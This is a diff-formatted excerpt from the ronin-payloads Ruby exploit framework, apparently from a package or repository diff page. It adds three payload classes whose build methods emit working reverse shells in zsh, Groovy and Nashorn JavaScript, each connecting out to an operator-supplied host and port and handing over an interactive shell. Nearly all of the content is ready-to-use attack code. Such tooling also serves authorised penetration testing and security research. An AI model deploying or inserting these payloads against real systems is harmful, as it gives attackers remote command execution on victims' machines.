+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/payloads/command_payload'
|
23
|
+
require 'ronin/payloads/mixins/reverse_shell'
|
24
|
+
|
25
|
+
module Ronin
|
26
|
+
module Payloads
|
27
|
+
module CMD
|
28
|
+
module Zsh
|
29
|
+
#
|
30
|
+
# A basic zsh reverse shell command.
|
31
|
+
#
|
32
|
+
# @since 0.2.0
|
33
|
+
#
|
34
|
+
class ReverseShell < CommandPayload
|
35
|
+
|
36
|
+
include Mixins::ReverseShell
|
37
|
+
|
38
|
+
register 'cmd/zsh/reverse_shell'
|
39
|
+
|
40
|
+
description <<~DESC
|
41
|
+
A basic zsh reverse shell command.
|
42
|
+
DESC
|
43
|
+
|
44
|
+
#
|
45
|
+
# Builds the zsh reverse shell command.
|
46
|
+
#
|
47
|
+
def build
|
48
|
+
@payload = "zsh -c 'zmodload zsh/net/tcp && ztcp #{host} #{port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'"
|
49
|
+
end
|
50
|
+
|
51
|
+
end
|
52
|
+
end
|
53
|
+
end
|
54
|
+
end
|
55
|
+
end
|
@@ -0,0 +1,54 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
|
+
# payloads.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-payloads is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/payloads/groovy_payload'
|
23
|
+
require 'ronin/payloads/mixins/reverse_shell'
|
24
|
+
|
25
|
+
module Ronin
|
26
|
+
module Payloads
|
27
|
+
module Groovy
|
28
|
+
#
|
29
|
+
# A basic Groovy reverse shell.
|
30
|
+
#
|
31
|
+
# @since 0.2.0
|
32
|
+
#
|
33
|
+
class ReverseShell < GroovyPayload
|
34
|
+
|
35
|
+
include Mixins::ReverseShell
|
36
|
+
|
37
|
+
register 'groovy/reverse_shell'
|
38
|
+
|
39
|
+
summary 'A basic Groovy reverse shell'
|
40
|
+
description <<~DESC
|
41
|
+
A basic Groovy reverse shell command.
|
42
|
+
DESC
|
43
|
+
|
44
|
+
#
|
45
|
+
# Builds the Groovy reverse shell command.
|
46
|
+
#
|
47
|
+
def build
|
48
|
+
@payload = %{Process p=new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();Socket s=new Socket(#{host.inspect},#{port});InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();}
|
49
|
+
end
|
50
|
+
|
51
|
+
end
|
52
|
+
end
|
53
|
+
end
|
54
|
+
end
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -0,0 +1,63 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
|
+
# payloads.
|
5
|
+
#
|
6
|
+
# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
|
+
#
|
8
|
+
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU Lesser General Public License as published
|
10
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# ronin-payloads is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU Lesser General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU Lesser General Public License
|
19
|
+
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
|
20
|
+
#
|
21
|
+
|
22
|
+
require 'ronin/payloads/nashorn_payload'
|
23
|
+
require 'ronin/payloads/mixins/reverse_shell'
|
24
|
+
|
25
|
+
module Ronin
|
26
|
+
module Payloads
|
27
|
+
module JS
|
28
|
+
module Nashorn
|
29
|
+
#
|
30
|
+
# A basic [Nashorn] JavaScript reverse shell.
|
31
|
+
#
|
32
|
+
# [Nashorn]: https://www.oracle.com/technical-resources/articles/java/jf14-nashorn.html
|
33
|
+
#
|
34
|
+
# @since 0.2.0
|
35
|
+
#
|
36
|
+
class ReverseShell < NashornPayload
|
37
|
+
|
38
|
+
include Mixins::ReverseShell
|
39
|
+
|
40
|
+
register 'js/nashorn/reverse_shell'
|
41
|
+
|
42
|
+
description <<~DESC
|
43
|
+
A basic Nashorn JavaScript reverse shell.
|
44
|
+
DESC
|
45
|
+
|
46
|
+
references [
|
47
|
+
'https://gist.github.com/frohoff/8e7c2bf3737032a25051'
|
48
|
+
]
|
49
|
+
|
50
|
+
#
|
51
|
+
# Builds the [Nashorn] JavaScript reverse shell payload.
|
52
|
+
#
|
53
|
+
# [Nashorn]: https://www.oracle.com/technical-resources/articles/java/jf14-nashorn.html
|
54
|
+
#
|
55
|
+
def build
|
56
|
+
@payload = %{var p=new java.lang.ProcessBuilder("/bin/sh").redirectErrorStream(true).start();var s=new java.net.Socket(#{host.dump},#{port});var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();}
|
57
|
+
end
|
58
|
+
|
59
|
+
end
|
60
|
+
end
|
61
|
+
end
|
62
|
+
end
|
63
|
+
end
|